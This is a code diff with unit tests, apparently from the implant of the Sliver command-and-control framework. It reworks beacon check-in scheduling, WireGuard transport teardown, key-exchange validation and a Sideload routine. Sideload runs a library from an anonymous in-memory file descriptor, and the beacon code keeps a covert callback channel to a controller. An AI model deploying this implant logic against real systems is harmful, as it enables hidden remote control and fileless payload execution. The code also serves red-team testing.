t.Fatalf("got error %v, want %v", err, stopErr)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("check-in loop did not stop")
|
||||
}
|
||||
|
||||
stateMu.Lock()
|
||||
defer stateMu.Unlock()
|
||||
if overlapped {
|
||||
t.Error("second check-in overlapped the first")
|
||||
}
|
||||
if calls != 2 {
|
||||
t.Fatalf("check-in called %d times, want 2", calls)
|
||||
}
|
||||
if maxActive != 1 {
|
||||
t.Fatalf("maximum concurrent check-ins = %d, want 1", maxActive)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCheckinLoopShortCircuitsReconfiguredInterval(t *testing.T) {
|
||||
const originalInterval = 500 * time.Millisecond
|
||||
setBeaconTimingForTest(t, originalInterval)
|
||||
|
||||
stopErr := errors.New("stop check-in loop")
|
||||
calls := 0
|
||||
start := time.Now()
|
||||
err := beaconCheckinLoop(&transports.Beacon{}, &beaconResultQueue{}, func(*transports.Beacon, time.Time, *beaconResultQueue) error {
|
||||
calls++
|
||||
if calls == 1 {
|
||||
transports.SetInterval(int64(time.Millisecond))
|
||||
return nil
|
||||
}
|
||||
return stopErr
|
||||
})
|
||||
if !errors.Is(err, stopErr) {
|
||||
t.Fatalf("got error %v, want %v", err, stopErr)
|
||||
}
|
||||
if elapsed := time.Since(start); originalInterval/2 <= elapsed {
|
||||
t.Fatalf("reconfigured interval did not short circuit sleep: %s", elapsed)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconResultQueuePrependPreservesOrder(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
first := &sliverpb.Envelope{ID: 1}
|
||||
second := &sliverpb.Envelope{ID: 2}
|
||||
third := &sliverpb.Envelope{ID: 3}
|
||||
queue.add(third)
|
||||
queue.prepend([]*sliverpb.Envelope{first, second})
|
||||
|
||||
actual := queue.drain()
|
||||
if len(actual) != 3 || actual[0] != first || actual[1] != second || actual[2] != third {
|
||||
t.Fatalf("unexpected result order: %+v", actual)
|
||||
}
|
||||
if remaining := queue.drain(); len(remaining) != 0 {
|
||||
t.Fatalf("drain left %d result(s)", len(remaining))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainResultCheckinDoesNotWaitForTasks(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
queue.add(&sliverpb.Envelope{ID: 41, Data: []byte("result")})
|
||||
|
||||
var recvCalled bool
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return nil },
|
||||
Recv: func() (*sliverpb.Envelope, error) {
|
||||
recvCalled = true
|
||||
return nil, errors.New("unexpected receive")
|
||||
},
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if recvCalled {
|
||||
t.Fatal("result-only check-in waited for a server task response")
|
||||
}
|
||||
if remaining := queue.drain(); len(remaining) != 0 {
|
||||
t.Fatalf("successful check-in retained %d result(s)", len(remaining))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainEmptyCheckinWaitsForTasks(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
var recvCalled bool
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return nil },
|
||||
Recv: func() (*sliverpb.Envelope, error) {
|
||||
recvCalled = true
|
||||
return nil, nil
|
||||
},
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !recvCalled {
|
||||
t.Fatal("empty check-in did not wait for a server task response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainRequeuesResultsAfterSendFailure(t *testing.T) {
|
||||
wantErr := errors.New("send failed")
|
||||
result := &sliverpb.Envelope{ID: 73, Data: []byte("result")}
|
||||
queue := &beaconResultQueue{}
|
||||
queue.add(result)
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return wantErr },
|
||||
Recv: func() (*sliverpb.Envelope, error) { return nil, nil },
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); !errors.Is(err, wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, wantErr)
|
||||
}
|
||||
actual := queue.drain()
|
||||
if len(actual) != 1 || actual[0] != result {
|
||||
t.Fatalf("send failure did not preserve exact result: %+v", actual)
|
||||
}
|
||||
}
|
||||
@@ -29,6 +29,8 @@ import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -98,26 +100,21 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
)
|
||||
memfdName := RandomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
fd, err := unix.MemfdCreate(memfdName, unix.MFD_CLOEXEC)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error during conversion: %s\n", err)
|
||||
log.Printf("Error creating memfd: %s\n", err)
|
||||
//{{end}}
|
||||
return "", err
|
||||
return "", fmt.Errorf("create memfd: %w", err)
|
||||
}
|
||||
if runtime.GOARCH == "386" {
|
||||
nrMemfdCreate = 356
|
||||
} else {
|
||||
nrMemfdCreate = 319
|
||||
}
|
||||
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
|
||||
defer func() { _ = unix.Close(fd) }()
|
||||
|
||||
pid := os.Getpid()
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
|
||||
err = os.WriteFile(fdPath, data, 0755)
|
||||
|
||||
@@ -325,8 +325,9 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
closeWGBeaconResources(nil, conn, dev)
|
||||
conn = nil
|
||||
dev = nil
|
||||
return err
|
||||
}
|
||||
cfg := yamux.DefaultConfig()
|
||||
@@ -339,8 +340,9 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
closeWGBeaconResources(nil, conn, dev)
|
||||
conn = nil
|
||||
dev = nil
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
@@ -354,26 +356,13 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return wireguard.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer stream.Close()
|
||||
return wireguard.WriteEnvelope(stream, envelope)
|
||||
return sendWGBeaconEnvelope(muxSession, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
muxSession = nil
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
conn = nil
|
||||
}
|
||||
if dev != nil {
|
||||
_ = dev.Down()
|
||||
dev = nil
|
||||
}
|
||||
closeWGBeaconResources(muxSession, conn, dev)
|
||||
muxSession = nil
|
||||
conn = nil
|
||||
dev = nil
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
@@ -383,6 +372,71 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return beacon
|
||||
}
|
||||
|
||||
// closeWGBeaconResources permanently closes each per-check-in resource. A
|
||||
// device.Down only stops the bind and peers; it leaves the netstack TUN and
|
||||
// WireGuard worker goroutines alive, so beacon reconnects must use Close.
|
||||
func closeWGBeaconResources(muxSession *yamux.Session, conn net.Conn, dev *device.Device) {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
closeWGBeaconDevice(dev.Close)
|
||||
}
|
||||
}
|
||||
|
||||
func closeWGBeaconDevice(closeDevice func()) {
|
||||
if closeDevice != nil {
|
||||
closeDevice()
|
||||
}
|
||||
}
|
||||
|
||||
const wgBeaconStreamReceiptTimeout = 5 * time.Second
|
||||
|
||||
func sendWGBeaconEnvelope(muxSession *yamux.Session, envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[wg] nil beacon envelope")
|
||||
}
|
||||
return sendWGBeaconStream(muxSession, wgBeaconStreamReceiptTimeout, func(stream net.Conn) error {
|
||||
return wireguard.WriteEnvelope(stream, envelope)
|
||||
})
|
||||
}
|
||||
|
||||
// sendWGBeaconStream waits for the peer's FIN after writing the request. A
|
||||
// successful yamux write only means the frame reached the local transport; the
|
||||
// remote FIN proves the server read the complete request before the beacon
|
||||
// tears down the WireGuard session.
|
||||
func sendWGBeaconStream(muxSession *yamux.Session, receiptTimeout time.Duration, write func(net.Conn) error) error {
|
||||
if muxSession == nil {
|
||||
return errors.New("[wg] send called with nil yamux session")
|
||||
}
|
||||
if receiptTimeout <= 0 {
|
||||
return errors.New("[wg] invalid beacon stream receipt timeout")
|
||||
}
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return errors.New("[wg] open returned nil stream")
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
|
||||
if err := write(stream); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := stream.SetReadDeadline(time.Now().Add(receiptTimeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := stream.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.Copy(io.Discard, stream)
|
||||
return err
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
|
||||
@@ -0,0 +1,159 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package transports
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
)
|
||||
|
||||
type recordingWGBeaconDevice struct {
|
||||
closeCalls int
|
||||
}
|
||||
|
||||
func (d *recordingWGBeaconDevice) Close() {
|
||||
d.closeCalls++
|
||||
}
|
||||
|
||||
func TestCloseWGBeaconDeviceUsesPermanentClose(t *testing.T) {
|
||||
dev := &recordingWGBeaconDevice{}
|
||||
closeWGBeaconDevice(dev.Close)
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("wireguard device Close called %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendWGBeaconStreamWaitsForRemoteClose(t *testing.T) {
|
||||
client, server := newBeaconYamuxPair(t)
|
||||
marker := []byte("beacon-result")
|
||||
serverRead := make(chan struct{})
|
||||
releaseServer := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseServer) }) }
|
||||
t.Cleanup(release)
|
||||
serverErr := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
stream, err := server.Accept()
|
||||
if err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
got := make([]byte, len(marker))
|
||||
if _, err := io.ReadFull(stream, got); err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
if string(got) != string(marker) {
|
||||
serverErr <- errors.New("server received an unexpected payload")
|
||||
return
|
||||
}
|
||||
close(serverRead)
|
||||
<-releaseServer
|
||||
serverErr <- nil
|
||||
}()
|
||||
|
||||
sendErr := make(chan error, 1)
|
||||
go func() {
|
||||
sendErr <- sendWGBeaconStream(client, time.Second, func(stream net.Conn) error {
|
||||
_, err := stream.Write(marker)
|
||||
return err
|
||||
})
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-serverErr:
|
||||
t.Fatalf("server failed before reading the request: %v", err)
|
||||
case err := <-sendErr:
|
||||
t.Fatalf("send returned before the server read the request: %v", err)
|
||||
case <-serverRead:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("server did not receive the request")
|
||||
}
|
||||
|
||||
select {
|
||||
case err := <-sendErr:
|
||||
t.Fatalf("send returned before the server closed its stream: %v", err)
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
}
|
||||
|
||||
release()
|
||||
select {
|
||||
case err := <-sendErr:
|
||||
if err != nil {
|
||||
t.Fatalf("send failed after the server closed its stream: %v", err)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("send did not observe the server stream close")
|
||||
}
|
||||
if err := <-serverErr; err != nil {
|
||||
t.Fatalf("server failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendWGBeaconStreamReceiptTimeout(t *testing.T) {
|
||||
client, server := newBeaconYamuxPair(t)
|
||||
marker := []byte("beacon-result")
|
||||
releaseServer := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseServer) }) }
|
||||
t.Cleanup(release)
|
||||
serverErr := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
stream, err := server.Accept()
|
||||
if err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
got := make([]byte, len(marker))
|
||||
if _, err := io.ReadFull(stream, got); err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
<-releaseServer
|
||||
serverErr <- nil
|
||||
}()
|
||||
|
||||
err := sendWGBeaconStream(client, 50*time.Millisecond, func(stream net.Conn) error {
|
||||
_, err := stream.Write(marker)
|
||||
return err
|
||||
})
|
||||
if !errors.Is(err, yamux.ErrTimeout) {
|
||||
t.Fatalf("got receipt error %v, want %v", err, yamux.ErrTimeout)
|
||||
}
|
||||
release()
|
||||
if err := <-serverErr; err != nil {
|
||||
t.Fatalf("server failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func newBeaconYamuxPair(t *testing.T) (*yamux.Session, *yamux.Session) {
|
||||
t.Helper()
|
||||
clientConn, serverConn := net.Pipe()
|
||||
config := yamux.DefaultConfig()
|
||||
config.EnableKeepAlive = false
|
||||
config.LogOutput = io.Discard
|
||||
server, err := yamux.Server(serverConn, config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
client, err := yamux.Client(clientConn, config)
|
||||
if err != nil {
|
||||
_ = server.Close()
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_ = client.Close()
|
||||
_ = server.Close()
|
||||
})
|
||||
return client, server
|
||||
}
|
||||
@@ -426,6 +426,17 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
var conn net.Conn
|
||||
var dev *device.Device
|
||||
var muxSession *yamux.Session
|
||||
closeTransport := func() {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
dev.Close()
|
||||
}
|
||||
}
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
@@ -440,15 +451,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
log.Printf("[wg] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(done)
|
||||
if muxSession != nil {
|
||||
muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
dev.Down()
|
||||
}
|
||||
closeTransport()
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
@@ -488,8 +491,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
closeTransport()
|
||||
return err
|
||||
}
|
||||
cfg := yamux.DefaultConfig()
|
||||
@@ -502,8 +504,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
closeTransport()
|
||||
return err
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build (windows && !arm64) || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import "golang.zx2c4.com/wireguard/conn"
|
||||
|
||||
func newWGUDPBind() conn.Bind {
|
||||
return conn.NewDefaultBind()
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
//go:build windows && arm64
|
||||
|
||||
package wireguard
|
||||
|
||||
import "golang.zx2c4.com/wireguard/conn"
|
||||
|
||||
// WinRingBind can stop exchanging handshakes after rapid userspace-device
|
||||
// recreation on Windows ARM64. Beacon callbacks recreate their device at each
|
||||
// interval, so use wireguard-go's portable socket bind on this target.
|
||||
func newWGUDPBind() conn.Bind {
|
||||
return conn.NewStdNetBind()
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
//go:build windows && arm64
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
)
|
||||
|
||||
func TestWindowsARM64WGUDPBindUsesStandardSockets(t *testing.T) {
|
||||
if _, ok := newWGUDPBind().(*conn.StdNetBind); !ok {
|
||||
t.Fatal("Windows ARM64 WireGuard bind did not use standard sockets")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type ownershipTestDevice struct {
|
||||
upErr error
|
||||
configureErr error
|
||||
upCalls int
|
||||
closeCalls int
|
||||
configured string
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) Up() error {
|
||||
d.upCalls++
|
||||
return d.upErr
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) Close() {
|
||||
d.closeCalls++
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) IpcSetOperation(config io.Reader) error {
|
||||
data, err := io.ReadAll(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.configured = string(data)
|
||||
return d.configureErr
|
||||
}
|
||||
|
||||
type ownershipTestDialer struct {
|
||||
dial func(network string, address string) (net.Conn, error)
|
||||
dialCalls int
|
||||
network string
|
||||
address string
|
||||
}
|
||||
|
||||
func (d *ownershipTestDialer) Dial(network string, address string) (net.Conn, error) {
|
||||
d.dialCalls++
|
||||
d.network = network
|
||||
d.address = address
|
||||
return d.dial(network, address)
|
||||
}
|
||||
|
||||
func TestGetSessKeysWithDeviceClosesTemporaryDevice(t *testing.T) {
|
||||
originalPrivate, originalPublic, originalAddress := wgSessPrivKey, wgSessPubKey, tunAddress
|
||||
t.Cleanup(func() {
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = originalPrivate, originalPublic, originalAddress
|
||||
})
|
||||
|
||||
privateKey := strings.Repeat("a", 64)
|
||||
publicKey := strings.Repeat("b", 64)
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) {
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte(privateKey + "|" + publicKey + "|100.64.0.42"))
|
||||
_ = server.Close()
|
||||
}()
|
||||
return client, nil
|
||||
}}
|
||||
dev := &ownershipTestDevice{}
|
||||
|
||||
if err := getSessKeysWithDevice(dev, dialer); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dev.upCalls != 1 || dev.closeCalls != 1 {
|
||||
t.Fatalf("temporary device calls: Up=%d Close=%d, want 1 each", dev.upCalls, dev.closeCalls)
|
||||
}
|
||||
if wgSessPrivKey != privateKey || wgSessPubKey != publicKey || tunAddress != "100.64.0.42" {
|
||||
t.Fatalf("unexpected session keys: private=%q public=%q address=%q", wgSessPrivKey, wgSessPubKey, tunAddress)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetSessKeysWithDeviceClosesTemporaryDeviceOnErrors(t *testing.T) {
|
||||
originalPrivate, originalPublic, originalAddress := wgSessPrivKey, wgSessPubKey, tunAddress
|
||||
t.Cleanup(func() {
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = originalPrivate, originalPublic, originalAddress
|
||||
})
|
||||
|
||||
upErr := errors.New("up failed")
|
||||
dialErr := errors.New("dial failed")
|
||||
tests := []struct {
|
||||
name string
|
||||
dev *ownershipTestDevice
|
||||
dial func(string, string) (net.Conn, error)
|
||||
wantErr error
|
||||
wantDialed bool
|
||||
}{
|
||||
{
|
||||
name: "device up",
|
||||
dev: &ownershipTestDevice{upErr: upErr},
|
||||
dial: func(string, string) (net.Conn, error) { return nil, errors.New("unexpected dial") },
|
||||
wantErr: upErr,
|
||||
},
|
||||
{
|
||||
name: "key exchange dial",
|
||||
dev: &ownershipTestDevice{},
|
||||
dial: func(string, string) (net.Conn, error) { return nil, dialErr },
|
||||
wantErr: dialErr,
|
||||
wantDialed: true,
|
||||
},
|
||||
{
|
||||
name: "key exchange response",
|
||||
dev: &ownershipTestDevice{},
|
||||
dial: func(string, string) (net.Conn, error) {
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte("malformed"))
|
||||
_ = server.Close()
|
||||
}()
|
||||
return client, nil
|
||||
},
|
||||
wantDialed: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
dialer := &ownershipTestDialer{dial: test.dial}
|
||||
err := getSessKeysWithDevice(test.dev, dialer)
|
||||
if err == nil {
|
||||
t.Fatal("expected key exchange to fail")
|
||||
}
|
||||
if test.wantErr != nil && !errors.Is(err, test.wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, test.wantErr)
|
||||
}
|
||||
if test.dev.closeCalls != 1 {
|
||||
t.Fatalf("temporary device Close called %d times, want 1", test.dev.closeCalls)
|
||||
}
|
||||
if got := dialer.dialCalls > 0; got != test.wantDialed {
|
||||
t.Fatalf("dial called=%v, want %v", got, test.wantDialed)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDialDeviceTransfersOrReleasesOwnership(t *testing.T) {
|
||||
t.Run("success", func(t *testing.T) {
|
||||
client, server := net.Pipe()
|
||||
defer func() { _ = server.Close() }()
|
||||
dev := &ownershipTestDevice{}
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) { return client, nil }}
|
||||
connection, err := dialDevice(dialer, dev, "tcp", "100.64.0.1:8888")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer func() { _ = connection.Close() }()
|
||||
if dev.closeCalls != 0 {
|
||||
t.Fatalf("successful dial closed returned device %d times", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("failure", func(t *testing.T) {
|
||||
wantErr := errors.New("dial failed")
|
||||
dev := &ownershipTestDevice{}
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) { return nil, wantErr }}
|
||||
connection, err := dialDevice(dialer, dev, "tcp", "100.64.0.1:8888")
|
||||
if connection != nil || !errors.Is(err, wantErr) {
|
||||
t.Fatalf("got connection=%v error=%v, want nil and %v", connection, err, wantErr)
|
||||
}
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("failed dial closed device %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestConfigureDeviceTransfersOrReleasesOwnership(t *testing.T) {
|
||||
t.Run("success", func(t *testing.T) {
|
||||
dev := &ownershipTestDevice{}
|
||||
if err := configureDevice(dev, bytes.NewBufferString("private_key=test\n")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dev.closeCalls != 0 {
|
||||
t.Fatalf("successful configuration closed returned device %d times", dev.closeCalls)
|
||||
}
|
||||
if dev.configured != "private_key=test\n" {
|
||||
t.Fatalf("unexpected configuration %q", dev.configured)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("failure", func(t *testing.T) {
|
||||
wantErr := errors.New("configuration failed")
|
||||
dev := &ownershipTestDevice{configureErr: wantErr}
|
||||
err := configureDevice(dev, bytes.NewBufferString("private_key=test\n"))
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, wantErr)
|
||||
}
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("failed configuration closed device %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func exchangeResponse(t *testing.T, response string) (string, string, string, error) {
|
||||
t.Helper()
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte(response))
|
||||
_ = server.Close()
|
||||
}()
|
||||
defer func() { _ = client.Close() }()
|
||||
return doKeyExchange(client)
|
||||
}
|
||||
|
||||
func TestDoKeyExchangeParsesTextTunnelIP(t *testing.T) {
|
||||
privateKey := strings.Repeat("a", 64)
|
||||
publicKey := strings.Repeat("b", 64)
|
||||
gotPrivate, gotPublic, gotIP, err := exchangeResponse(t, privateKey+"|"+publicKey+"|100.64.0.23")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotPrivate != privateKey || gotPublic != publicKey || gotIP != "100.64.0.23" {
|
||||
t.Fatalf("unexpected exchange result: private=%q public=%q ip=%q", gotPrivate, gotPublic, gotIP)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoKeyExchangeRejectsMalformedResponses(t *testing.T) {
|
||||
key := strings.Repeat("a", 64)
|
||||
tests := map[string]string{
|
||||
"missing field": key + "|" + key,
|
||||
"short key": "aa|" + key + "|100.64.0.2",
|
||||
"non-hex key": strings.Repeat("z", 64) + "|" + key + "|100.64.0.2",
|
||||
"invalid IP": key + "|" + key + "|not-an-ip",
|
||||
"IPv6 tunnel IP": key + "|" + key + "|fd00::2",
|
||||
"oversized payload": strings.Repeat("x", 257),
|
||||
}
|
||||
for name, response := range tests {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
_, _, _, err := exchangeResponse(t, response)
|
||||
if err == nil {
|
||||
t.Fatal("expected malformed key exchange response to fail")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -47,7 +48,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/netstack"
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -251,12 +251,35 @@ func formatWGEndpoint(address string, port uint16) string {
|
||||
return net.JoinHostPort(address, strconv.Itoa(int(port)))
|
||||
}
|
||||
|
||||
type permanentDevice interface {
|
||||
Close()
|
||||
}
|
||||
|
||||
type sessionKeyDevice interface {
|
||||
permanentDevice
|
||||
Up() error
|
||||
}
|
||||
|
||||
type netDialer interface {
|
||||
Dial(network string, address string) (net.Conn, error)
|
||||
}
|
||||
|
||||
type deviceConfigurator interface {
|
||||
permanentDevice
|
||||
IpcSetOperation(io.Reader) error
|
||||
}
|
||||
|
||||
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
|
||||
func getSessKeys(address string, port uint16) error {
|
||||
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return getSessKeysWithDevice(dev, tNet)
|
||||
}
|
||||
|
||||
func getSessKeysWithDevice(dev sessionKeyDevice, tNet netDialer) error {
|
||||
defer dev.Close()
|
||||
|
||||
if err := dev.Up(); err != nil {
|
||||
return err
|
||||
@@ -271,25 +294,17 @@ func getSessKeys(address string, port uint16) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to wg key exchange listener: %v", err)
|
||||
// {{end}}
|
||||
_ = dev.Down()
|
||||
return err
|
||||
}
|
||||
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress, err = doKeyExchange(keyExchangeConnection)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
